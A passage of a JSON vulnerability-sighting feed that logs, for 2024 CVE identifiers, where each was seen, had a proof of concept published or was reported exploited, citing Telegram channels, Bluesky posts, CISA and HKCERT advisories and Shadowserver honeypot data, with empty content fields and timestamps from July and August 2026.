"", "creation_timestamp": "2026-07-07T00:00:19.290971Z"}, {"uuid": "3914667f-0e21-4435-a312-474d7caead30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50004", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T00:45:49.344847Z"}, {"uuid": "f3b16177-67b4-4aeb-8795-fc80d1345337", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/brutsecurity/1217", "content": "", "creation_timestamp": "2026-07-09T04:00:11.008493Z"}, {"uuid": "cbbf8e9b-4934-4a8f-8ebb-3f8a1a7e2dd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqaq23fbjb2h", "content": "", "creation_timestamp": "2026-07-09T22:54:04.165203Z"}, {"uuid": "03b3e91f-d167-4876-8d5a-d655551093aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50550", "type": "seen", "source": "https://t.me/brutsecurity/1047", "content": "", "creation_timestamp": "2026-07-10T01:00:10.768015Z"}, {"uuid": "98f93307-1154-452a-b6d2-0d96c0ad48f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50310", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqeg4j2y2u2f", "content": "", "creation_timestamp": "2026-07-11T10:07:06.419061Z"}, {"uuid": "184e3f98-6376-4f1b-a70c-bef7960175fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50334", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqev7comd32m", "content": "", "creation_timestamp": "2026-07-11T14:37:06.132233Z"}, {"uuid": "f01e6dd4-82b0-4137-8e6c-c8cb3894ed6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1279", "content": "", "creation_timestamp": "2026-07-11T15:00:04.539533Z"}, {"uuid": "3ee93a24-ee92-45b9-9dd3-a9aa9d421262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1226", "content": "", "creation_timestamp": "2026-07-11T15:00:04.499787Z"}, {"uuid": "ebb8c34e-4e60-495a-8b4e-0a22f9859902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1217", "content": "", "creation_timestamp": "2026-07-11T16:00:03.660532Z"}, {"uuid": "dbb091f4-e95f-4804-af97-1c5b543cbfb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/brutsecurity/1213", "content": "", "creation_timestamp": "2026-07-11T16:00:03.325588Z"}, {"uuid": "c870928b-13db-4354-8a21-7a8e083827ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50550", "type": "seen", "source": "https://t.me/brutsecurity/1047", "content": "", "creation_timestamp": "2026-07-11T17:00:04.610332Z"}, {"uuid": "a7e87aa3-6699-48ac-954c-99b0db6d9cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5035", "type": "seen", "source": "https://t.me/ZerodayAlert/239", "content": "", "creation_timestamp": "2026-07-11T23:00:04.314038Z"}, {"uuid": "2cf075f0-7e7c-4dc3-a8b5-e07b2d2d8fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1279", "content": "", "creation_timestamp": "2026-07-12T00:00:46.628769Z"}, {"uuid": "34950028-9cfa-4be4-9885-5f838d3f4f21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1226", "content": "", "creation_timestamp": "2026-07-12T00:00:46.580023Z"}, {"uuid": "586ab68c-5e7a-4d9f-9630-491c3f7b0daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1217", "content": "", "creation_timestamp": "2026-07-12T00:00:46.425449Z"}, {"uuid": "8b8302c7-b06e-4636-8176-61d8cce69e96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/brutsecurity/1213", "content": "", "creation_timestamp": "2026-07-12T00:00:46.016515Z"}, {"uuid": "31e4c33f-567d-42a7-8b59-17ee29802e4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50550", "type": "seen", "source": "https://t.me/brutsecurity/1047", "content": "", "creation_timestamp": "2026-07-12T00:00:45.441602Z"}, {"uuid": "8882cd52-5e7f-47e7-8424-e72ece6ba72b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5035", "type": "seen", "source": "https://t.me/ZerodayAlert/239", "content": "", "creation_timestamp": "2026-07-12T00:00:18.834121Z"}, {"uuid": "984781fe-ff3e-4652-9857-2eb20f8da0c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50572", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqjuhitthj2g", "content": "", "creation_timestamp": "2026-07-13T14:07:06.604156Z"}, {"uuid": "d45fb3df-4d23-48bb-ac94-d43f28a25fca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50557", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqjw55hd3d2g", "content": "", "creation_timestamp": "2026-07-13T14:37:06.371434Z"}, {"uuid": "a5afae24-bab6-4573-b498-0e7aee6e1018", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50386", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqmibpxnzs2m", "content": "", "creation_timestamp": "2026-07-14T15:07:06.621636Z"}, {"uuid": "fdd51cfe-cd38-4459-8495-f87768cf9ed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50340", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqmyorqyxp2q", "content": "", "creation_timestamp": "2026-07-14T20:00:44.423628Z"}, {"uuid": "f9ab6838-f778-45d7-9b7f-2af62f4db420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://t.me/breachdetector/858818", "content": "", "creation_timestamp": "2026-07-15T10:00:04.953335Z"}, {"uuid": "e7208973-104d-4df7-900b-5fe4c8b7adb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://t.me/breachdetector/858818", "content": "", "creation_timestamp": "2026-07-16T00:00:20.409791Z"}, {"uuid": "c68758e9-f45f-41bc-a73b-74830c9736f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5082", "type": "seen", "source": "Telegram/1oKidIvEiBLg9fq2L9jcRpMHsDemNPCrRVVFGdn6IjHF34I", "content": "", "creation_timestamp": "2026-07-16T19:00:06.226560Z"}, {"uuid": "ab45e340-9ad5-4b9a-b4d1-977b71aa9f4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5082", "type": "seen", "source": "Telegram/HNPB5oa1yFVH3WekiUbQvvfAzLOwUwiNbJgQ6qW_ApvUQ1Y", "content": "", "creation_timestamp": "2026-07-16T19:00:05.205773Z"}, {"uuid": "7a8764de-23cf-4f5c-a33d-b8cb28425d35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5082", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93536", "content": "", "creation_timestamp": "2026-07-17T00:00:53.657348Z"}, {"uuid": "4f804b25-f984-40cc-a50b-b3d9820910cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5082", "type": "published-proof-of-concept", "source": "Telegram/HNPB5oa1yFVH3WekiUbQvvfAzLOwUwiNbJgQ6qW_ApvUQ1Y", "content": "", "creation_timestamp": "2026-07-17T00:00:25.796146Z"}, {"uuid": "6dc43c36-5c26-416e-9391-e0ebebf91798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5082", "type": "published-proof-of-concept", "source": "Telegram/1oKidIvEiBLg9fq2L9jcRpMHsDemNPCrRVVFGdn6IjHF34I", "content": "", "creation_timestamp": "2026-07-17T00:00:11.643632Z"}, {"uuid": "93b00587-8369-4e3f-877a-9b56e957180a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://t.me/crackvaultde/478", "content": "", "creation_timestamp": "2026-07-21T00:00:19.022954Z"}, {"uuid": "8fe88131-b0f3-475c-bead-7df2e73f334c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "exploited", "source": "https://t.me/crackvaultde/478", "content": "", "creation_timestamp": "2026-07-22T00:00:33.120375Z"}, {"uuid": "063f38c5-1073-4eb1-b66f-49e6a0fda29d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50330", "type": "seen", "source": "https://t.me/GithubRedTeam/94754", "content": "", "creation_timestamp": "2026-07-23T06:00:03.796811Z"}, {"uuid": "2c7bc81d-67f8-4ec4-aa9a-ec086d22567c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50330", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/94754", "content": "", "creation_timestamp": "2026-07-24T00:00:10.038098Z"}, {"uuid": "04db93f9-fdb3-4b6a-b7ff-1ef6316af86c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://gist.github.com/marcuswhitney/388d616a47ad991666491b5f5b488b02", "content": "", "creation_timestamp": "2026-07-25T18:32:18.071958Z"}, {"uuid": "add5deca-36a1-4b98-92fb-b4afe9394f63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50337", "type": "seen", "source": "https://t.me/ZerodayAlert/435", "content": "", "creation_timestamp": "2026-07-26T00:00:41.537611Z"}, {"uuid": "bacbea02-aed2-45ff-a831-46aea59ea572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://t.me/ZerodayAlert/438", "content": "", "creation_timestamp": "2026-07-26T00:00:41.371632Z"}, {"uuid": "1402a94d-d71e-4dbe-9a91-03fdeadac7aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://t.me/ZerodayAlert/550", "content": "", "creation_timestamp": "2026-07-26T00:00:31.516410Z"}, {"uuid": "32ca712d-8d21-4450-948b-59c384878d10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5009", "type": "seen", "source": "https://t.me/cyberwarehouse/469", "content": "", "creation_timestamp": "2026-07-26T02:00:20.136426Z"}, {"uuid": "cac517cd-6eac-44b1-b14e-08a62c31bb52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/cyberwarehouse/650", "content": "", "creation_timestamp": "2026-07-26T02:00:16.649000Z"}, {"uuid": "0e25eeea-8caa-47f1-ae6b-224f693ad940", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/cyberwarehouse/649", "content": "", "creation_timestamp": "2026-07-26T02:00:16.607474Z"}, {"uuid": "9b0cf263-72d4-402f-b509-17cbc9cd8f44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/cyberwarehouse/653", "content": "", "creation_timestamp": "2026-07-26T02:00:16.315191Z"}, {"uuid": "abff64be-2c66-45b8-941b-9cae031248a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50340", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrktlrje7q2y", "content": "", "creation_timestamp": "2026-07-26T16:49:27.283395Z"}, {"uuid": "06086495-dcad-4195-8078-29b79920a1d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/cyberwarehouse/653", "content": "", "creation_timestamp": "2026-07-27T00:00:27.048384Z"}, {"uuid": "08490bb7-e183-4717-aaf6-d658afd420a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/649", "content": "", "creation_timestamp": "2026-07-27T00:00:26.752056Z"}, {"uuid": "ed8a9d7b-2c00-497b-ab5a-3844bf374af5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/650", "content": "", "creation_timestamp": "2026-07-27T00:00:26.584950Z"}, {"uuid": "fd006c26-d724-4030-89b2-7ca1b35c0d98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/469", "content": "", "creation_timestamp": "2026-07-27T00:00:21.997112Z"}, {"uuid": "3b28152b-9043-4fc9-b1fe-c914de557a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50298", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:15:55.587495Z"}, {"uuid": "d8cf96f9-5e17-475a-a2d2-4a36b6597daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50164", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:15:53.212141Z"}, {"uuid": "d3f1bea3-da7c-4d31-9a3f-86ce16cb6dcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50063", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:15:50.625893Z"}, {"uuid": "b944a07c-31fc-4a1c-a8f9-22081194df88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50014", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:15:48.252603Z"}, {"uuid": "d109655f-ba4f-4c43-8e7b-c37bbf0baa17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5009", "type": "seen", "source": "https://t.me/reverseame/4549", "content": "", "creation_timestamp": "2026-07-29T12:02:14.168857Z"}, {"uuid": "b228f544-d587-4121-b3bd-76db0c940ccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://t.me/reverseame/4907", "content": "", "creation_timestamp": "2026-07-29T12:02:05.623434Z"}, {"uuid": "18d23b49-a72e-4485-8900-949ea05ab46b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://t.me/reverseame/4976", "content": "", "creation_timestamp": "2026-07-29T12:02:05.076025Z"}, {"uuid": "c8c73831-a18e-48b7-b9e7-39ea740d0df2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://t.me/reverseame/5384", "content": "", "creation_timestamp": "2026-07-29T12:02:01.857768Z"}, {"uuid": "2ca21ad8-b8a1-4c16-93f3-449b295d1741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://t.me/safebdv/1266", "content": "", "creation_timestamp": "2026-07-29T12:01:58.286347Z"}, {"uuid": "69788fdf-8ee1-4ea0-a798-2bc6ef1d0f81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5009", "type": "seen", "source": "https://t.me/reverseame/4549", "content": "", "creation_timestamp": "2026-07-30T00:02:20.373600Z"}, {"uuid": "4b779814-6e20-4e73-b4bb-9eccf239ce7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://t.me/reverseame/4907", "content": "", "creation_timestamp": "2026-07-30T00:02:16.704272Z"}, {"uuid": "6d635355-e71b-4688-b2e4-f68c78ccb817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://t.me/reverseame/4976", "content": "", "creation_timestamp": "2026-07-30T00:02:16.138229Z"}, {"uuid": "87a70e8c-fe92-4dc0-816d-7248f282eec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://t.me/reverseame/5384", "content": "", "creation_timestamp": "2026-07-30T00:02:12.427447Z"}, {"uuid": "dcb5f65c-bb4d-40f3-8df2-bd12e6fcbe21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://t.me/safebdv/1266", "content": "", "creation_timestamp": "2026-07-30T00:02:09.893495Z"}, {"uuid": "c3a2319e-2e98-4064-9905-fddfe675e1bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mrwbm7ian42z", "content": "", "creation_timestamp": "2026-07-31T05:59:31.147759Z"}, {"uuid": "8b861002-7ce2-4e08-bc39-6e04f36c1465", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50302", "type": "exploited", "source": "https://t.me/safebdv/1266", "content": "", "creation_timestamp": "2026-08-01T20:00:05.467279Z"}, {"uuid": "fc301ad9-bb08-4947-952d-b861565b897d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50302", "type": "exploited", "source": "https://t.me/safebdv/1266", "content": "", "creation_timestamp": "2026-08-02T00:00:21.580778Z"}, {"uuid": "17924721-cea5-4a66-a90f-99b42c84ad2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50264", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/5384", "content": "", "creation_timestamp": "2026-08-02T00:00:08.732787Z"}, {"uuid": "45006fe0-9574-4752-b90f-dab5f54f5ec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50050", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4976", "content": "", "creation_timestamp": "2026-08-02T03:00:04.354139Z"}, {"uuid": "43548235-3774-4740-a53f-c860408498bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50623", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4907", "content": "", "creation_timestamp": "2026-08-02T04:25:50.843535Z"}, {"uuid": "b6448dba-c54c-4b1b-bc6c-2764621d8b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4549", "content": "", "creation_timestamp": "2026-08-02T07:06:35.017262Z"}, {"uuid": "f4566f34-83ed-4b22-b1e5-5811d96e874d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-01)", "content": "", "creation_timestamp": "2026-08-02T10:58:29.249846Z"}, {"uuid": "18d2e05e-d57c-4a81-8c51-f30ff99416fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-01)", "content": "", "creation_timestamp": "2026-08-02T10:42:53.040258Z"}, {"uuid": "2472ece6-8a6e-472c-9ff3-4ebfcf01806a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50050", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4976", "content": "", "creation_timestamp": "2026-08-03T02:14:00.567323Z"}, {"uuid": "fedacb81-a578-4637-9c68-aa2bf83dbd59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50623", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4907", "content": "", "creation_timestamp": "2026-08-03T02:13:59.945377Z"}, {"uuid": "4939c68f-bc37-4c73-9de6-1ef696a291b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-5009", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/4549", "content": "", "creation_timestamp": "2026-08-03T02:11:40.565653Z"}, {"uuid": "395bb564-d8af-4b13-a0ab-1f794f231460", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50012", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T04:50:28.329103Z"}, {"uuid": "9d9206ad-519d-4258-8c75-16e56da9ea6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://t.me/purp_sec/153", "content": "", "creation_timestamp": "2026-08-04T13:00:17.089466Z"}, {"uuid": "0a01ff96-fdd9-4b0a-93ed-a59c4853b1da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50603", "type": "seen", "source": "https://t.me/purp_sec/152", "content": "", "creation_timestamp": "2026-08-04T13:00:17.063840Z"}, {"uuid": "e8f8b562-38fe-4253-b193-0f5146f61228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50050", "type": "seen", "source": "https://t.me/purp_sec/195", "content": "", "creation_timestamp": "2026-08-04T13:00:14.991167Z"}, {"uuid": "617cc103-46c9-4e4f-9939-f89b639d88e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": 